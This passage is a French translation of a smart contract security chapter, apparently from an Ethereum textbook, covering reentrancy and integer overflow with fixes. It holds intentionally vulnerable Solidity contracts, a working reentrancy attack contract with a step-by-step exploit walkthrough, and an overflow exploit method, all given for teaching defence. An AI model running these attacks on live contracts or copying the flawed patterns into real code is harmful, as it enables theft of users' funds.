.admonitionblock td.icon [class^="fa icon-"]{font-size:2.5em;text-shadow:1px 1px 2px rgba(0,0,0,.5);cursor:default}
.admonitionblock td.icon .icon-note::before{content:"\f05a";color:#19407c}
.admonitionblock td.icon .icon-tip::before{content:"\f0eb";text-shadow:1px 1px 2px rgba(155,155,0,.8);color:#111}
.admonitionblock td.icon .icon-warning::before{content:"\f071";color:#bf6900}
.admonitionblock td.icon .icon-caution::before{content:"\f06d";color:#bf3400}
.admonitionblock td.icon .icon-important::before{content:"\f06a";color:#bf0000}
.conum[data-value]{display:inline-block;color:#fff!important;background:rgba(0,0,0,.8);border-radius:50%;text-align:center;font-size:.75em;width:1.67em;height:1.67em;line-height:1.67em;font-family:"Open Sans","DejaVu Sans",sans-serif;font-style:normal;font-weight:bold}
.conum[data-value] *{color:#fff!important}
.conum[data-value]+b{display:none}
.conum[data-value]::after{content:attr(data-value)}
pre .conum[data-value]{position:relative;top:-.125em}
b.conum *{color:inherit!important}
.conum:not([data-value]):empty{display:none}
dt,th.tableblock,td.content,div.footnote{text-rendering:optimizeLegibility}
h1,h2,p,td.content,span.alt,summary{letter-spacing:-.01em}
p strong,td.content strong,div.footnote strong{letter-spacing:-.005em}
p,blockquote,dt,td.content,span.alt,summary{font-size:1.0625rem}
p{margin-bottom:1.25rem}
.sidebarblock p,.sidebarblock dt,.sidebarblock td.content,p.tableblock{font-size:1em}
.exampleblock>.content{background:#fffef7;border-color:#e0e0dc;box-shadow:0 1px 4px #e0e0dc}
.print-only{display:none!important}
@page{margin:1.25cm .75cm}
@media print{*{box-shadow:none!important;text-shadow:none!important}
html{font-size:80%}
a{color:inherit!important;text-decoration:underline!important}
a.bare,a[href^="#"],a[href^="mailto:"]{text-decoration:none!important}
a[href^="http:"]:not(.bare)::after,a[href^="https:"]:not(.bare)::after{content:"(" attr(href) ")";display:inline-block;font-size:.875em;padding-left:.25em}
abbr[title]{border-bottom:1px dotted}
abbr[title]::after{content:" (" attr(title) ")"}
pre,blockquote,tr,img,object,svg{page-break-inside:avoid}
thead{display:table-header-group}
svg{max-width:100%}
p,blockquote,dt,td.content{font-size:1em;orphans:3;widows:3}
h2,h3,#toctitle,.sidebarblock>.content>.title{page-break-after:avoid}
#header,#content,#footnotes,#footer{max-width:none}
#toc,.sidebarblock,.exampleblock>.content{background:none!important}
#toc{border-bottom:1px solid #dddddf!important;padding-bottom:0!important}
body.book #header{text-align:center}
body.book #header>h1:first-child{border:0!important;margin:2.5em 0 1em}
body.book #header .details{border:0!important;display:block;padding:0!important}
body.book #header .details span:first-child{margin-left:0!important}
body.book #header .details br{display:block}
body.book #header .details br+span::before{content:none!important}
body.book #toc{border:0!important;text-align:left!important;padding:0!important;margin:0!important}
body.book #toc,body.book #preamble,body.book h1.sect0,body.book .sect1>h2{page-break-before:always}
.listingblock code[data-lang]::before{display:block}
#footer{padding:0 .9375em}
.hide-on-print{display:none!important}
.print-only{display:block!important}
.hide-for-print{display:none!important}
.show-for-print{display:inherit!important}}
@media amzn-kf8,print{#header>h1:first-child{margin-top:1.25rem}
.sect1{padding:0!important}
.sect1+.sect1{border:0}
#footer{background:none}
#footer-text{color:rgba(0,0,0,.6);font-size:.9em}}
@media amzn-kf8{#header,#content,#footnotes,#footer{padding:0}}
</style>
</head>
<body class="article">
<div id="header">
</div>
<div id="content">
<div class="sect1">
<h2 id="smart_contract_security">Sécurité des contrats intelligents</h2>
<div class="sectionbody">
<div class="paragraph">
<p>La sécurité est l’une des considérations les plus importantes lors de la rédaction de contrats intelligents. Dans le domaine de la programmation de contrats intelligents, les erreurs sont coûteuses et facilement exploitables. Dans ce chapitre, nous examinerons les meilleures pratiques de sécurité et les modèles de conception, ainsi que les «anti-modèles de sécurité», qui sont des pratiques et des modèles qui peuvent introduire des vulnérabilités dans nos contrats intelligents.</p>
</div>
<div class="paragraph">
<p>Comme avec d’autres programmes, un contrat intelligent exécutera exactement ce qui est écrit, ce qui n’est pas toujours ce que le programmeur avait prévu. De plus, tous les contrats intelligents sont publics et tout utilisateur peut interagir avec eux simplement en créant une transaction. Toute vulnérabilité peut être exploitée et les pertes sont presque toujours impossibles à récupérer. Il est donc essentiel de suivre les meilleures pratiques et d’utiliser des modèles de conception éprouvés.</p>
</div>
<div class="sect2">
<h3 id="_meilleures_pratiques_de_sécurité">Meilleures pratiques de sécurité</h3>
<div class="paragraph">
<p><em>La programmation défensive</em> est un style de programmation particulièrement bien adapté aux contrats intelligents. Il met l’accent sur les éléments suivants, qui sont tous des pratiques exemplaires :</p>
</div>
<div class="dlist">
<dl>
<dt class="hdlist1">Minimalisme/simplicité</dt>
<dd>
<p>La complexité est l’ennemie de la sécurité. Plus le code est simple et moins il en fait, moins il y a de chances qu’un bogue ou un effet imprévu se produise. Lorsqu’ils s’engagent pour la première fois dans la programmation de contrats intelligents, les développeurs sont souvent tentés d’essayer d’écrire beaucoup de code. Au lieu de cela, vous devriez parcourir votre code de contrat intelligent et essayer de trouver des moyens d’en faire moins, avec moins de lignes de code, moins de complexité et moins de "fonctionnalités". Si quelqu’un vous dit que son projet a produit "des milliers de lignes de code" pour ses contrats intelligents, vous devez vous interroger sur la sécurité de ce projet. Plus simple est plus sûr.</p>
</dd>
<dt class="hdlist1">Réutilisation du code</dt>
<dd>
<p>Essayez de ne pas réinventer la roue. S’il existe déjà une bibliothèque ou un contrat qui fait la plupart de ce dont vous avez besoin, réutilisez-le. Dans votre propre code, suivez le principe DRY (Don’t Repeat Yourself) : ne vous répétez pas. Si vous voyez un extrait de code répété plus d’une fois, demandez-vous s’il pourrait être écrit en tant que fonction ou bibliothèque et réutilisé. Le code qui a été largement utilisé et testé est probablement plus sécurisé que tout nouveau code que vous écrivez. Méfiez-vous du syndrome "Pas inventé ici", où vous êtes tenté d'"améliorer" une fonctionnalité ou un composant en le construisant à partir de zéro. Le risque de sécurité est souvent supérieur à la valeur d’amélioration.</p>
</dd>
<dt class="hdlist1">Qualité du code</dt>
<dd>
<p>Le code de contrat intelligent est impitoyable. Chaque bogue peut entraîner une perte monétaire. Vous ne devez pas traiter la programmation de contrats intelligents de la même manière que la programmation à usage général. Écrire des DApps dans Solidity n’est pas comme créer un widget Web en JavaScript. Vous devez plutôt appliquer des méthodologies d’ingénierie et de développement de logiciels rigoureuses, comme vous le feriez dans l’ingénierie aérospatiale ou dans toute discipline similairement impitoyable. Une fois que vous avez "lancé" votre code, vous ne pouvez pas faire grand-chose pour résoudre les problèmes.</p>
</dd>
<dt class="hdlist1">Lisibilité/auditabilité</dt>
<dd>
<p>Votre code doit être clair et facile à comprendre. Plus c’est facile à lire, plus c’est facile à auditer. Les contrats intelligents sont publics, car tout le monde peut lire le code intermédiaire et tout le monde peut le désosser. Par conséquent, il est avantageux de développer votre travail en public, en utilisant des méthodologies collaboratives et à source libre, pour tirer parti de la sagesse collective de la communauté des développeurs et bénéficier du plus grand dénominateur commun du développement à source libre. Vous devez écrire un code bien documenté et facile à lire, en suivant les conventions de style et de nommage qui font partie de la communauté Ethereum.</p>
</dd>
<dt class="hdlist1">Couverture de test</dt>
<dd>
<p>Testez tout ce que vous pouvez. Les contrats intelligents s’exécutent dans un environnement d’exécution public, où n’importe qui peut les exécuter avec la contribution de son choix. Vous ne devez jamais supposer que l’entrée, telle que les arguments de fonction, est bien formée, correctement délimitée ou a un objectif bénin. Testez tous les arguments pour vous assurer qu’ils se situent dans les plages attendues et qu’ils sont correctement formatés avant d’autoriser la poursuite de l’exécution de votre code.</p>
</dd>
</dl>
</div>
</div>
<div class="sect2">
<h3 id="_risques_de_sécurité_et_anti_modèles">Risques de sécurité et anti-modèles</h3>
<div class="paragraph">
<p>En tant que programmeur de contrats intelligents, vous devez être familiarisé avec les risques de sécurité les plus courants, afin de pouvoir détecter et éviter les modèles de programmation qui exposent vos contrats à ces risques. Dans les sections suivantes, nous examinerons différents risques de sécurité, des exemples de la façon dont les vulnérabilités peuvent survenir et des contre-mesures ou des solutions préventives qui peuvent être utilisées pour y faire face.</p>
</div>
</div>
<div class="sect2">
<h3 id="reentrancy_security">Réentrance</h3>
<div class="paragraph">
<p>L’une des caractéristiques des contrats intelligents Ethereum est leur capacité à appeler et à utiliser le code d’autres contrats externes. Les contrats gèrent également généralement l’ether et, en tant que tels, envoient souvent de l’ether à diverses adresses d’utilisateurs externes. Ces opérations nécessitent que les contrats soumettent des appels externes. Ces appels externes peuvent être détournés par des attaquants, qui peuvent forcer les contrats à exécuter du code supplémentaire (via une fonction de secours ), y compris des rappels vers eux-mêmes. Des attaques de ce type ont été utilisées dans le tristement célèbre <a href="http://bit.ly/2DamSZT">piratage DAO</a> .</p>
</div>
<div class="paragraph">
<p>Pour en savoir plus sur les attaques par réentrance , voir <a href="http://bit.ly/2zaqSEY">l’article de blog</a> de Gus Guimareas sur le sujet et les <a href="http://bit.ly/2ERDMxV">meilleures pratiques pour les contrats intelligents Ethereum</a>.</p>
</div>
<div class="sect3 notoc">
<h4 id="_la_vulnérabilité">La vulnérabilité</h4>
<div class="paragraph">
<p>Ce type d’attaque peut se produire lorsqu’un contrat envoie de l’ether à une adresse inconnue. Un attaquant peut soigneusement construire un contrat à une adresse externe qui contient du code malveillant dans la fonction de secours. Ainsi, lorsqu’un contrat envoie de l’ether à cette adresse, il invoquera le code malveillant. Généralement , le code malveillant exécute une fonction sur le contrat vulnérable, effectuant des opérations non prévues par le développeur. Le terme « réentrance » vient du fait que le contrat externe malveillant appelle une fonction sur le contrat vulnérable et que le chemin d’exécution du code le « <em>réintègre</em> ». Pour clarifier cela, considérons le simple contrat vulnérable dans <a href="#etherstore_vulnerable">EtherStore.sol</a> , qui agit comme un coffre-fort Ethereum qui permet aux déposants de retirer seulement 1 ether par semaine.</p>
</div>
<div id="etherstore_vulnerable" class="exampleblock">
<div class="title">Example 1. EtherStore.sol</div>
<div class="content">
<div class="listingblock">
<div class="content">
<pre class="highlight"><code class="language-solidity" data-lang="solidity">contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() external payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limite le retrait
require(_weiToWithdraw <= withdrawalLimit);
// limite le temps accordé pour se rétracter
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}</code></pre>
</div>
</div>
</div>
</div>
<div class="paragraph">
<p>Ce contrat a deux fonctions publiques, <code>depositFunds</code> et <code>removeFunds</code>. La fonction de dépôt de fonds incrémente simplement le solde de l’expéditeur. La fonction de retrait de fonds permet à l’expéditeur de spécifier le montant de wei à retirer. Cette fonction est destinée à réussir uniquement si le montant demandé à retirer est inférieur à 1 ether et qu’aucun retrait n’a eu lieu la semaine dernière.</p>
</div>
<div class="paragraph">
<p>La vulnérabilité se trouve à la ligne 17, où le contrat envoie à l’utilisateur la quantité d’ether demandée. Considérez un attaquant qui a créé le contrat dans <a href="#etherstore_attack">Attack.sol</a> .</p>
</div>
<div id="etherstore_attack" class="exampleblock">
<div class="title">Example 2. Attack.sol</div>
<div class="content">
<div class="listingblock">
<div class="content">
<pre class="highlight"><code class="language-solidity" data-lang="solidity">import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// initialise la variable etherStore avec l'adresse du contrat
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function attackEtherStore() external payable {
// attaque à l'ether le plus proche
require(msg.value >= 1 ether);
// envoie eth à la fonction depositFunds()
etherStore.depositFunds.value(1 ether)();
// début de magie
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fonction de secours - où la magie opère
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}</code></pre>
</div>
</div>
</div>
</div>
<div class="paragraph">
<p>Comment l’exploit peut-il se produire ? Tout d’abord, l’attaquant créerait le contrat malveillant (disons à l’adresse <code>0x0…​123</code>) avec l' adresse de contrat de l' <code>EtherStore</code> comme seul paramètre constructeur. Cela initialiserait et pointerait la variable publique <code>etherStore</code> vers le contrat à attaquer.</p>
</div>
<div class="paragraph">
<p>L’attaquant appellerait alors la fonction <code>attackEtherStore</code> , avec une certaine quantité d’ether supérieure ou égale à 1 - supposons <code>1 ether</code> pour le moment. Dans cet exemple, nous supposerons également qu’un certain nombre d’autres utilisateurs ont déposé de l’ether dans ce contrat, de sorte que son solde actuel est de <code>10 ether</code>. La suite sera alors ainsi :</p>
</div>
<div class="olist arabic">
<ol class="arabic">
<li>
<p><em>Attack.sol</em> , ligne 15 : La fonction <code>DepositFunds</code> du contrat <code>EtherStore</code> sera appelée avec un <code>msg.value</code> de <code>1 ether</code> (et beaucoup de gaz). L’expéditeur (<code>msg.sender</code>) sera le contrat malveillant ( <code>0x0…​123</code> ). Ainsi , <code>balances[0x0…​123] = 1 ether</code>.</p>
</li>
<li>
<p><em>Attack.sol</em> , ligne 17 : Le contrat malveillant va alors appeler la fonction <code>withdrawFunds</code> du contrat <code>EtherStore</code> avec un paramètre de <code>1 ether</code> . Cela satisfera à toutes les exigences (lignes 12 à 16 du contrat <code>EtherStore</code> ) car aucun retrait précédent n’a été effectué.</p>
</li>
<li>
<p><em>EtherStore.sol</em> , ligne 17 : Le contrat renverra <code>1 ether</code> au <span class="keep-together">contrat</span> malveillant.</p>
</li>
<li>
<p><em>Attack.sol</em> , ligne 25 : Le paiement au contrat malveillant exécutera alors la fonction de secours.</p>
</li>
<li>
<p><em>Attack.sol</em> , ligne 26 : Le solde total du contrat EtherStore était de <code>10 ether</code> et est maintenant de <code>9 ether</code> , donc cette instruction if passe.</p>
</li>
<li>
<p><em>Attack.sol</em> , ligne 27 : La fonction de secours appelle de l' <code>EtherStore</code> la fonction <code>withdrawFunds</code> à nouveau et « réintègre » le contrat <code>EtherStore</code> .</p>
</li>
<li>
<p><em>EtherStore.sol</em> , ligne 11 : Dans ce deuxième appel à <code>withdrawFunds</code> , le solde du contrat attaquant est toujours de <code>1 ether</code> car la ligne 18 n’a pas encore été exécutée. Ainsi, nous avons toujours <code>balances[0x0…​123] = 1 ether</code> . C’est également le cas pour la variable <code>lastWithdrawTime</code> . Encore une fois , nous passons toutes les exigences .</p>
</li>
<li>
<p><em>EtherStore.sol</em> , ligne 17 : Le contrat attaquant retire un autre <code>1 ether</code> .</p>
</li>
<li>
<p>Répétez les étapes 4 à 8 jusqu’à ce qu’il ne soit plus le cas que <code>EtherStore.balance > 1</code> , comme dicté par la ligne 26 dans <em>Attack.sol</em> .</p>
</li>
<li>
<p><em>Attack.sol</em> , ligne 26 : Une fois qu’il reste 1 (ou moins) d’ether dans le contrat <code>EtherStore</code> , cette instruction <code>if</code> échouera. Cela permettra alors d’exécuter les lignes 18 et 19 du contrat <code>EtherStore</code> (pour chaque appel à la fonction <code>withdrawFunds</code>).</p>
</li>
<li>
<p><em>EtherStore.sol</em> , lignes 18 et 19 : Les mappages <code>balances</code> et <code>lastWithdrawTime</code> seront définis et l’exécution se terminera.</p>
</li>
</ol>
</div>
<div class="paragraph">
<p>Le résultat final est que l’attaquant a retiré tous les ethers sauf 1 du contrat <code>EtherStore</code> en une seule transaction.</p>
</div>
</div>
<div class="sect3 notoc">
<h4 id="_techniques_préventives">Techniques préventives</h4>
<div class="paragraph">
<p>Il existe un certain nombre de techniques courantes qui permettent d’éviter les vulnérabilités potentielles de réentrance dans les contrats intelligents. La première consiste à (dans la mesure du possible) utiliser la fonction de <a href="http://bit.ly/2Ogvnng">transfert</a> intégrée lors de l’envoi d’ether à des contrats externes. La fonction de transfert n’envoie que 2300 gaz avec l’appel externe, ce qui n’est pas suffisant pour que l’adresse/le contrat de destination appelle un autre contrat (c’est-à-dire qu’il ressaisisse le contrat d’envoi).</p>
</div>
<div class="paragraph">
<p>La deuxième technique consiste à s’assurer que toute la logique qui modifie les variables d’état se produit avant que l’ether ne soit envoyé hors du contrat (ou de tout appel externe). Dans l' exemple <code>EtherStore</code>, les lignes 18 et 19 de <em>EtherStore.sol</em> doivent être placées avant la ligne 17. Il est recommandé que tout code effectuant des appels externes à des adresses inconnues soit la dernière opération d’une fonction localisée ou d’un morceau de code exécuté. C’est ce qu’on appelle le <a href="http://bit.ly/2EVo70v">modèle vérifications-effets-interactions</a> .</p>
</div>
<div class="paragraph">
<p>Une troisième technique consiste à introduire un mutex, c’est-à-dire à ajouter une variable d’état qui verrouille le contrat pendant l’exécution du code, empêchant les appels réentrants .</p>
</div>
<div class="paragraph">
<p>L’application de toutes ces techniques (l’utilisation des trois n’est pas nécessaire, mais nous le faisons à des fins de démonstration) à <em>EtherStore.sol</em> donne le contrat sans réentrance :</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code class="language-solidity" data-lang="solidity">contract EtherStore {
// initialise le mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() external payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw);
// limite le retrait
require(_weiToWithdraw <= withdrawalLimit);
// limite le temps accordé pour se rétracter
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
// définit le mutex de réentrance avant l'appel externe
reEntrancyMutex = true;
msg.sender.transfer(_weiToWithdraw);
// libère le mutex après l'appel externe
reEntrancyMutex = false;
}
}</code></pre>
</div>
</div>
</div>
<div class="sect3">
<h4 id="real_world_example_the_dao">Exemple concret : le DAO</h4>
<div class="paragraph">
<p>L’attaque DAO (Decentralized Autonomous Organization) a été l’un des principaux piratages survenus au début du développement d’Ethereum. À l’époque, le contrat détenait plus de 150 millions de dollars. La réentrance a joué un rôle majeur dans l’attaque, qui a finalement conduit à l’embranchement divergent (hard fork) qui a créé Ethereum Classic (ETC). Pour une bonne analyse de l’exploit DAO, voir <a href="http://bit.ly/2EQaLCI">http://bit.ly/2EQaLCI</a> . Plus d’informations sur l’historique des embranchements d’Ethereum, la chronologie du piratage DAO et la naissance d’ETC dans un embranchement divergent peuvent être trouvées dans <a href="#ethereum_standards">[ethereum_standards]</a>.</p>
</div>
</div>
</div>
<div class="sect2">
<h3 id="_dépassement_et_soupassement_arithmétique">Dépassement et soupassement arithmétique</h3>
<div class="paragraph">
<p>La machine virtuelle Ethereum spécifie des types de données de taille fixe pour les entiers. Cela signifie qu’une variable entière ne peut représenter qu’une certaine plage de nombres. Un uint8 , par exemple, ne peut stocker que des nombres dans la plage [0,255]. Essayer de stocker 256 dans un uint8 donnera 0 . Si l’on n’y prend pas garde, les variables de Solidity peuvent être exploitées si la saisie de l’utilisateur n’est pas cochée et si des calculs sont effectués qui aboutissent à des nombres qui se situent en dehors de la plage du type de données qui les stocke.</p>
</div>
<div class="paragraph">
<p>Pour en savoir plus sur les débordements arithmétiques, voir <a href="https://bit.ly/2nNLuOr">"Comment sécuriser vos contrats intelligents"</a> , <a href="https://bit.ly/2MOfBPv">Ethereum Smart Contract Best Practices</a> et <a href="https://bit.ly/2xvbx1M">"Ethereum, Solidity and integer overflows: Programming blockchains like 1970"</a> .</p>
</div>
<div class="sect3 notoc">
<h4 id="_la_vulnérabilité_2">La vulnérabilité</h4>
<div class="paragraph">
<p>Un dépassement/soupassement se produit lorsqu’une opération effectuée nécessite une variable de taille fixe pour stocker un nombre (ou un élément de données) qui est en dehors de la plage du type de données de la variable.</p>
</div>
<div class="paragraph">
<p>Par exemple, soustraire <code>1</code> d’une variable <code>uint8</code> (entier non signé de 8 bits, c’est-à-dire non négatif) dont la valeur est <code>0</code> donnera le nombre <code>255</code> . Il s’agit d’un <em>soupassement</em> . Nous avons attribué un nombre en dessous de la plage de <code>uint8</code> , de sorte que le résultat <em>est une boucle</em> et donne le plus grand nombre qu’un <code>uint8</code> puisse stocker. De même, ajouter <code>2^8=256</code> à un <code>uint8</code> laissera la variable inchangée, car nous avons enroulé autour de toute la longueur du <code>uint</code> . Deux analogies simples de ce comportement sont les odomètres dans les voitures, qui mesurent la distance parcourue (ils se réinitialisent à 000000, après que le plus grand nombre, c’est-à-dire 999999, est dépassé) et les fonctions mathématiques périodiques (l’ajout de 2 π à l’argument de sin laisse la valeur inchangée ).</p>
</div>
<div class="paragraph">
<p>L’ajout de nombres supérieurs à la plage du type de données est appelé un <em>dépassement</em> . Pour plus de clarté, ajouter <code>257</code> à un <code>uint8</code> qui a actuellement une valeur de <code>0</code> se traduira par le nombre <code>1</code> . Il est parfois instructif de considérer les variables de taille fixe comme étant cycliques, où nous recommençons à partir de zéro si nous ajoutons des nombres au-dessus du plus grand nombre stocké possible, et commençons à compter à partir du plus grand nombre si nous soustrayons de zéro. Dans le cas des types <code>int</code> signés , qui <em>peuvent</em> représenter des nombres négatifs, nous recommençons une fois que nous atteignons la plus grande valeur négative; par exemple, si nous essayons de soustraire <code>1</code> à un <code>int8</code> dont la valeur est <code>-128</code> , nous obtiendrons <code>127</code> .</p>
</div>
<div class="paragraph">
<p>Ces types de pièges numériques permettent aux attaquants de mal utiliser le code et de créer des flux logiques inattendus. Par exemple, considérez le contrat TimeLock dans <a href="#timelock_sol_security">TimeLock.sol</a>.</p>
</div>
<div id="timelock_sol_security" class="exampleblock">
<div class="title">Example 3. TimeLock.sol</div>
<div class="content">
<div class="listingblock">
<div class="content">
<pre class="highlight"><code class="language-solidity" data-lang="solidity">contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = now + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0);
require(now > lockTime[msg.sender]);
balances[msg.sender] = 0;
msg.sender.transfer(balance);
}
}</code></pre>
</div>
</div>
</div>
</div>
<div class="paragraph">
<p>Ce contrat est conçu pour agir comme un coffre-fort temporel : les utilisateurs peuvent déposer de l’ether dans le contrat et il y sera verrouillé pendant au moins une semaine. L’utilisateur peut prolonger le temps d’attente à plus d’une semaine s’il le souhaite, mais une fois déposé, l’utilisateur peut être sûr que son ether est verrouillé en toute sécurité pendant au moins une semaine, du moins c’est ce que prévoit ce contrat.</p>
</div>
<div class="paragraph">
<p>Dans le cas où un utilisateur est obligé de remettre sa clé privée, un contrat comme celui-ci peut être utile pour s’assurer que son ether est introuvable pendant une courte période. Mais si un utilisateur avait verrouillé <code>100 ether</code> dans ce contrat et remis ses clés à un attaquant, l’attaquant pourrait utiliser un dépassement pour recevoir l’ether, quel que soit le <code>lockTime</code>.</p>
</div>
<div class="paragraph">
<p>L’attaquant pourrait déterminer le <code>lockTime</code> actuel pour l’adresse pour laquelle il détient maintenant la clé (c’est une variable publique). Appelons le <code>userLockTime</code> . Ils pourraient alors appeler la fonction <code>increaseLockTime</code> et passer en argument le nombre <code>2^256 - userLockTime</code> . Ce nombre serait ajouté à l' <code>userLockTime</code> actuel et provoquerait un dépassement, réinitialisant <code>lockTime[msg.sender]</code> à <code>0</code>. L’attaquant pourrait alors simplement appeler la fonction <code>withdraw</code> pour obtenir sa récompense.</p>
</div>
<div class="paragraph">
<p>Regardons un autre exemple (<a href="#underflow_vulnerability_example_from_ethernaut_challenge">Underflow vulnerability example from Ethernaut challenge</a>), celui des <a href="https://github.com/OpenZeppelin/ethernaut">défis Ethernaut</a>.</p>
</div>
<div class="paragraph">
<p><strong>ALERTE DIVULGATION:</strong> <em>Si vous n’avez pas encore fait les défis Ethernaut, cela donne une solution à l’un des niveaux</em> .</p>
</div>
<div id="underflow_vulnerability_example_from_ethernaut_challenge" class="exampleblock">
<div class="title">Example 4. Underflow vulnerability example from Ethernaut challenge</div>
<div class="content">
<div class="listingblock">
<div class="content">
<pre class="highlight"><code class="language-solidity" data-lang="solidity">pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}</code></pre>
</div>
</div>
</div>
</div>
<div class="paragraph">
<p>Il s’agit d’un simple contrat de jeton qui utilise une fonction de <code>transfer</code> , permettant aux participants de déplacer leurs jetons. Pouvez-vous voir l’erreur dans ce contrat ?</p>
</div>
<div class="paragraph">
<p>La faille vient de la fonction <code>transfer</code>. L’instruction require de la ligne 13 peut être contournée à l’aide d’un soupassement. Considérez un utilisateur avec un solde nul. Il pourrait appeler la fonction <code>transfer</code> avec n’importe quelle <code>_value</code> différente de zéro et passer l’instruction require à la ligne 13. En effet, <code>balances[msg.sender]</code> est égal à <code>0</code> (et un <code>uint256</code> ), donc la soustraction de tout montant positif (à l’exception de <code>2^256</code> ) entraînera un nombre positif, comme décrit précédemment. Ceci est également vrai pour la ligne 14, où le solde sera crédité d’un nombre positif. Ainsi, dans cet exemple, un attaquant peut obtenir des jetons gratuits en raison d’une vulnérabilité de soupassement.</p>
</div>
</div>
<div class="sect3 notoc">
<h4 id="_techniques_préventives_2">Techniques préventives</h4>
<div class="paragraph">
<p>La technique conventionnelle actuelle pour se prémunir contre les vulnérabilités de soupassement/dépassement consiste à utiliser ou à créer des bibliothèques mathématiques qui remplacent les opérateurs mathématiques standard d' addition, de soustraction et de multiplication (la division est exclue car elle ne provoque pas de soupassement/dépassement et l’EVM revient à la division par 0 ).</p>
</div>
<div class="paragraph">
<p><a href="https://github.com/OpenZeppelin/openzeppelin-solidity">OpenZeppelin</a> a fait un excellent travail de création et d’audit de bibliothèques sécurisées pour la communauté Ethereum. En particulier, la <a href="http://bit.ly/2ABhb4l">bibliothèque SafeMath</a> peut être utilisée pour éviter les vulnérabilités de soupassement/dépassement.</p>
</div>
<div class="paragraph">
<p>Pour montrer comment ces bibliothèques sont utilisées dans Solidity, corrigeons le contrat <code>TimeLock</code> à l’aide de la bibliothèque <code>SafeMath</code>. La version sans dépassement du contrat est :</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code class="language-solidity" data-lang="solidity">library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert( b > 0); // Solidity relance automatiquement lors de la division par 0
uint256 c = a / b;
// assert( a == b * c + a % b); // Cela vaut dans tous les cas
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TimeLock {
using SafeMath for uint; // utiliser la bibliothèque pour le type uint
mapping(address => uint256) public balances;
mapping(address => uint256) public lockTime;
function deposit() external payable {
balances[msg.sender] = balances[msg.sender].add(msg.value);
lockTime[msg.sender] = now.add(1 weeks);
}
function increaseLockTime(uint256 _secondsToIncrease) public {
lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
}
function withdraw() public {
require(balances[msg.sender] > 0);
require(now > lockTime[msg.sender]);
balances[msg.sender] = 0;
msg.sender.transfer(balance);
}
}</code></pre>
</div>
</div>
<div class="paragraph">
<p>Notez que toutes les opérations mathématiques standard ont été remplacées par celles définies dans la bibliothèque <code>SafeMath</code>. Le contrat <code>TimeLock</code> n’effectue plus aucune opération capable de soupassement/dépassement.</p>
</div>
</div>
<div class="sect3">
<h4 id="_exemples_concrets_powhc_et_dépassement_de_transfert_par_lots_cve_201810299">Exemples concrets : PoWHC et dépassement de transfert par lots (CVE-2018–10299)</h4>
<div class="paragraph">
<p>Proof of Weak Hands Coin ( PoWHC ), conçu à l’origine comme une sorte de blague, était un stratagème de Ponzi écrit par un collectif Internet. Malheureusement , il semble que l’auteur ou les auteurs du contrat n’avaient pas vu de soupassement/dépassement auparavant, et par conséquent 866 ethers ont été libérés de son contrat. Eric Banisadr donne un bon aperçu de la façon dont le dépassement s’est produit (ce qui n’est pas trop différent du défi Ethernaut décrit précédemment) dans son <a href="https://bit.ly/2wrxIFJ">article de blog</a> sur l’événement.</p>
</div>
<div class="paragraph">
<p><a href="http://bit.ly/2CUf7WG">Un autre exemple</a> provient de l’implémentation d’une fonction <code>batchTransfer()</code> dans un groupe de contrats de jetons ERC20. L’implémentation contenait une vulnérabilité de dépassement; vous pouvez lire les détails dans le <a href="https://bit.ly/2HDlIs8">compte rendu de PeckShield</a>.</p>
</div>
</div>
</div>
<div class="sect2">
<h3 id="_ether_inattendu">Ether inattendu</h3>
<div class="paragraph">
<p>En règle générale, lorsque de l’ether est envoyé à un contrat, il doit exécuter soit la fonction de secours, soit une autre fonction définie dans le contrat. Il y a deux exceptions à cela, où l’ether peut exister dans un contrat sans avoir exécuté de code. Les contrats qui reposent sur l’exécution de code pour tout l’ether qui leur est envoyé peuvent être vulnérables aux attaques où l’ether est envoyé de force.</p>
</div>
<div class="paragraph">
<p>Pour en savoir plus à ce sujet, consultez <a href="https://bit.ly/2MR8Gp0">« Comment sécuriser vos contrats intelligents »</a> et <a href="http://bit.ly/2RjXmUWl">« Modèles de sécurité solides – Forcer Ether à un contrat »</a> .</p>
</div>
<div class="sect3 notoc">
<h4 id="_la_vulnérabilité_3">La vulnérabilité</h4>
